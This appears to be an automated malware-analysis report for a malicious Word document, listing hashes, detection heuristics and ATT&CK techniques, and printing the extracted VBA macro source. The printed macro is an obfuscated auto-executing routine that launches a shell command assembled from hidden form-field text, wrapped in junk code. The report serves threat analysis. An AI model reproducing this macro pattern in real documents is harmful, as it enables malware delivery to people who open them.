Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ae106183d29ecc79…

MALICIOUS

Office (OLE)

141.1 KB Created: 2018-12-19 16:42:00 Authoring application: Microsoft Office Word First seen: 2019-01-12
MD5: 0265f1e17b6c6a15f1071e47175f292d SHA-1: 40e1c4cdefb24086561322293a108a956a037e88 SHA-256: ae106183d29ecc79bd1867d0e955bb0842d40ff17cbcd84ab634951cd7e59c41
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains VBA macros, including an Auto_Close macro, which are designed to execute automatically. A critical heuristic indicates the use of the Shell() function within the VBA code, suggesting an attempt to launch an external process. This is further supported by a high-severity heuristic for suspicious cmd.exe invocation. The primary IOC is the VBA macro file itself, which contains the malicious logic.

Heuristics 8

  • ClamAV: Doc.Downloader.Generic-6789472-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6789472-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
          End Select
C2728595 = Array(B914227, X218387, S299795, Interaction.Shell(CVar("" + I230859 + S78532 + M35776511051408.TextBox1) + W48837150 + K6178419 + C672540 + s86279775, 72 - 72), K24296633)
   Select Case z877
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoclose()
U64690239
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4576 bytes
SHA-256: 950c4873b98d32c6e087b2bd7a5c38c6201065456cbf3fd99523abea12fe3df2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "M35776511051408"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoclose()
U64690239
End Sub

Attribute VB_Name = "B7319542356326"
Function U64690239()
On Error Resume Next
   Select Case n992
         Case 285058162
 t228 = F875
t796 = Rnd(f8888 - Round(Q600) / 237517144 - Round(S8390))
N0610 = R665
G9392 = Rnd(G251 * Tan(281962305))
         Case 190099139
L9834 = I5086
T6984 = z978
      End Select
C2728595 = Array(B914227, X218387, S299795, Interaction.Shell(CVar("" + I230859 + S78532 + M35776511051408.TextBox1) + W48837150 + K6178419 + C672540 + s86279775, 72 - 72), K24296633)
   Select Case z877
         Case 90145391
 Z6678 = w217
W1341 = Rnd(i1257 - Round(l552) / 82518328 - Round(L807))
d678 = W9166
S709 = Rnd(w1613 * Tan(302011842))
         Case 63164286
K4988 = r1868
W1974 = A852
      End Select
   Select Case N136
         Case 249231634
 Q0454 = Z9045
w8926 = Rnd(X926 - Round(V8966) / 204642786 - Round(J687))
Z374 = o363
b254 = Rnd(X819 * Tan(275591112))
         Case 246001077
w854 = L6302
k400 = I101
      End Select
   Select Case I1248
         Case 38463912
 i4578 = t184
j785 = Rnd(m481 - Round(f375) / 141597960 - Round(o4405))
B134 = a2507
V320 = Rnd(p5011 * Tan(193044235))
         Case 335035632
q248 = m459
f739 = r763
      End Select
   Select Case f6180
         Case 214637865
 E351 = n311
p3737 = Rnd(q9414 - Round(w0565) / 54554987 - Round(T9629))
j466 = u997
S4507 = Rnd(u668 * Tan(197796127))
         Case 105525433
a6324 = H2292
f3342 = j432
      End Select
End Function


Attribute VB_Name = "n13695599"

Attribute VB_Name = "P0909101249"

Attribute VB_Name = "G6609975"

Attribute VB_Name = "m3788854440"

Attribute VB_Name = "N2292620"

Attribute VB_Name = "J449610708"

Attribute VB_Name = "l34348065"

Attribute VB_Name = "Q8706946905"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "r944700625"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "v35049109694"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "E49388195"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "G836034856707"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "X4530146"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "m983618633295"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "b766552973"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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